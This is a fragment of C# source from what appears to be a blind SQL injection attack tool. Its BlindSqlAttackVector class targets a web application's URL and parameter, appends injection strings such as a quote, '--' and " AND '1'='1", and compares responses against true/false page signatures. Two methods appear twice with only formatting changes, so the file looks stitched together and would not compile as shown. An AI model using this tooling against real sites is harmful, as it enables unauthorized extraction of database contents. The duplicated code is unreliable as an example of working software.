///<summary>Creates a BlindSqlAttackVector object</summary>
///<param name="Tolerance">The percentage tolerance band to use for comparing signatures</param>
///<param name="PluginUsed">The plugin being used for this injection</param>
///<returns>An initialized BlindSqlAttackVector</returns>
public BlindSqlAttackVector BuildBlindSqlAttackVector(float Tolerance, IBlindPlugin PluginUsed)
{
((BlindInjectionOptions)_Options).Tolerance = Tolerance;
BlindSqlAttackVector bav = new BlindSqlAttackVector(_TargetURL, _VectorName, _VectorBuffer, _AttackParams, _Method, PluginUsed, (BlindInjectionOptions)_Options);
bav.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
bav.Initialize();
bav.UserStatus -= new UserEvents.UserStatusEventHandler(BubbleUserStatus);
return(bav);
}
private BlindSqlAttackVector DeserializeBlindSqlAttackVectorXml(XmlNode VectorNode, BlindInjectionOptions opts, IBlindPlugin PluginUsed)
{
double[] TrueSig = null, FalseSig = null;
int[] TrueFilter = null, FalseFilter = null;
foreach (XmlNode n in VectorNode.ChildNodes)
{
switch (n.Name)
{
case "truepage":
//_ParentOutput("Deserializing True signature.. ");
TrueSig = ExtractSignatureFromXml(n);
break;
case "falsepage":
//_ParentOutput("Deserializing False signature.. ");
FalseSig = ExtractSignatureFromXml(n);
break;
case "truefilter":
//_ParentOutput("Deserializing True Filter.. ");
TrueFilter = ExtractFilterFromXml(n);
break;
case "falsefilter":
//_ParentOutput("Deserializing False filter.. ");
FalseFilter = ExtractFilterFromXml(n);
break;
}
}
if (TrueSig == null || FalseSig == null || TrueFilter == null || FalseFilter == null)
{
return(null);
}
string Name = String.Empty;
string Buffer = String.Empty;
if (VectorNode.Attributes["Delimiter"] != null)
{
((BlindInjectionOptions)opts).Delimiter = VectorNode.Attributes["Delimiter"].InnerText;
}
if (VectorNode.Attributes["tolerance"] != null)
{
opts.Tolerance = System.Single.Parse(VectorNode.Attributes["tolerance"].InnerText);
}
if (VectorNode.Attributes["name"] != null)
{
Name = VectorNode.Attributes["name"].InnerText;
}
if (VectorNode.Attributes["buffer"] != null)
{
Buffer = VectorNode.Attributes["buffer"].InnerText;
}
if (VectorNode.Attributes["InjectAsString"] != null)
{
opts.InjectAsString = System.Boolean.Parse(VectorNode.Attributes["InjectAsString"].InnerText);
}
return(new BlindSqlAttackVector(_TargetURL, Name, Buffer, _AttackParams, _Method, PluginUsed, TrueSig, FalseSig, TrueFilter, FalseFilter, opts));
}
///<summary>Public constructor for instantiation.</summary>
///<param name="URL">The URL of the target web application, including file path</param>
///<param name="VectorName">The name of the parameter to use as the injection point</param>
///<param name="VectorBuffer">The default value to store in the injectable parameter</param>
///<param name="AdditionalParams">All parameters (names and values) that are used, but not chosen as injection points</param>
///<param name="Method">The HTTP connection method. This can be "GET" or "POST"</param>
///<param name="PluginUsed">The Plugin being used for the connection</param>
///<param name="TruePage">The signature for the page representing a "true" value</param>
///<param name="FalsePage">The signature for the page representing a "false" value</param>
///<param name="TrueFilterIn">The indices of the signature relevant for comparing an unknown to the true signature</param>
///<param name="FalseFilterIn">The indices of the signature relevant for comparing an unknown to the false signature</param>
///<param name="Options">The InjectionOptions to use for all requests</param>
public BlindSqlAttackVector(string URL, string VectorName, string VectorBuffer, NameValueCollection AdditionalParams, string Method, IBlindPlugin PluginUsed,
double[] TruePage, double[] FalsePage,
int[] TrueFilterIn, int[] FalseFilterIn, BlindInjectionOptions Options)
{
_ConnectViaPost = String.Equals(Method.ToUpper(), "POST");
_TargetURL = URL;
_VectorName = VectorName;
_VectorBuffer = VectorBuffer;
_Options = Options;
_PluginData = PluginUsed;
if (_Options.InjectAsString) _VectorBuffer += "'";
_AttackParams = AdditionalParams;
TruePageSignature = TruePage;
FalsePageSignature = FalsePage;
TrueFilter = TrueFilterIn;
FalseFilter = FalseFilterIn;
_VectorPostBuffer = String.Empty;
if (_Options.TerminateQuery)
{
_VectorPostBuffer += "--";
}
else if (_Options.AppendedQuery.Length > 0)
{
_VectorPostBuffer += _Options.AppendedQuery;
}
else if (_Options.InjectAsString)
{
_VectorPostBuffer = " AND '1'='1";
}
_VectorBuffer += " "; // Required so plugins aren't required to add the spaces
_Proxies = Options.WebProxies;
ParsePage.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
}
///<summary>Public constructor for instantiation.</summary>
///<param name="URL">The URL of the target web application, including file path</param>
///<param name="VectorName">The name of the parameter to use as the injection point</param>
///<param name="VectorBuffer">The default value to store in the injectable parameter</param>
///<param name="AdditionalParams">All parameters (names and values) that are used, but not chosen as injection points</param>
///<param name="Method">The HTTP connection method. This can be "GET" or "POST"</param>
///<param name="PluginUsed">The Plugin being used for the connection</param>
///<param name="Options">The InjectionOptions to use for all connections</param>
public BlindSqlAttackVector(string URL, string VectorName, string VectorBuffer, NameValueCollection AdditionalParams, string Method, IBlindPlugin PluginUsed,
BlindInjectionOptions Options)
{
_Proxies = Options.WebProxies;
if (PluginUsed == null) UserStatus("Null plugin");
_PluginData = PluginUsed;
_Options = Options;
_ConnectViaPost = String.Equals(Method.ToUpper(), "POST");
_TargetURL = URL;
_VectorName = VectorName;
_VectorBuffer = VectorBuffer;
if (_Options.InjectAsString) _VectorBuffer += "'";
_AttackParams = AdditionalParams;
ParsePage.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
//Initialize();//URL, VectorName, VectorBuffer, AdditionalParams, Method);
}
private BlindSqlAttackVector DeserializeBlindSqlAttackVectorXml(XmlNode VectorNode, BlindInjectionOptions opts, IBlindPlugin PluginUsed)
{
double[] TrueSig = null, FalseSig = null;
int[] TrueFilter = null, FalseFilter = null;
foreach (XmlNode n in VectorNode.ChildNodes)
{
switch (n.Name)
{
case "truepage":
//_ParentOutput("Deserializing True signature.. ");
TrueSig = ExtractSignatureFromXml(n);
break;
case "falsepage":
//_ParentOutput("Deserializing False signature.. ");
FalseSig = ExtractSignatureFromXml(n);
break;
case "truefilter":
//_ParentOutput("Deserializing True Filter.. ");
TrueFilter = ExtractFilterFromXml(n);
break;
case "falsefilter":
//_ParentOutput("Deserializing False filter.. ");
FalseFilter = ExtractFilterFromXml(n);
break;
}
}
if (TrueSig == null || FalseSig == null || TrueFilter == null || FalseFilter == null) return null;
string Name = String.Empty;
string Buffer = String.Empty;
if (VectorNode.Attributes["Delimiter"] != null) ((BlindInjectionOptions) opts).Delimiter = VectorNode.Attributes["Delimiter"].InnerText;
if (VectorNode.Attributes["tolerance"] != null) opts.Tolerance = System.Single.Parse(VectorNode.Attributes["tolerance"].InnerText);
if (VectorNode.Attributes["name"] != null) Name = VectorNode.Attributes["name"].InnerText;
if (VectorNode.Attributes["buffer"] != null) Buffer = VectorNode.Attributes["buffer"].InnerText;
if (VectorNode.Attributes["InjectAsString"] != null) opts.InjectAsString = System.Boolean.Parse(VectorNode.Attributes["InjectAsString"].InnerText);
return new BlindSqlAttackVector(_TargetURL, Name, Buffer, _AttackParams, _Method, PluginUsed, TrueSig, FalseSig, TrueFilter, FalseFilter, opts);
}
///<summary>Creates a BlindSqlAttackVector object</summary>
///<param name="Tolerance">The percentage tolerance band to use for comparing signatures</param>
///<param name="PluginUsed">The plugin being used for this injection</param>
///<returns>An initialized BlindSqlAttackVector</returns>
public BlindSqlAttackVector BuildBlindSqlAttackVector(float Tolerance, IBlindPlugin PluginUsed)
{
((BlindInjectionOptions) _Options).Tolerance = Tolerance;
BlindSqlAttackVector bav = new BlindSqlAttackVector(_TargetURL, _VectorName, _VectorBuffer, _AttackParams, _Method, PluginUsed, (BlindInjectionOptions) _Options);
bav.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
bav.Initialize();
bav.UserStatus -= new UserEvents.UserStatusEventHandler(BubbleUserStatus);
return bav;
}
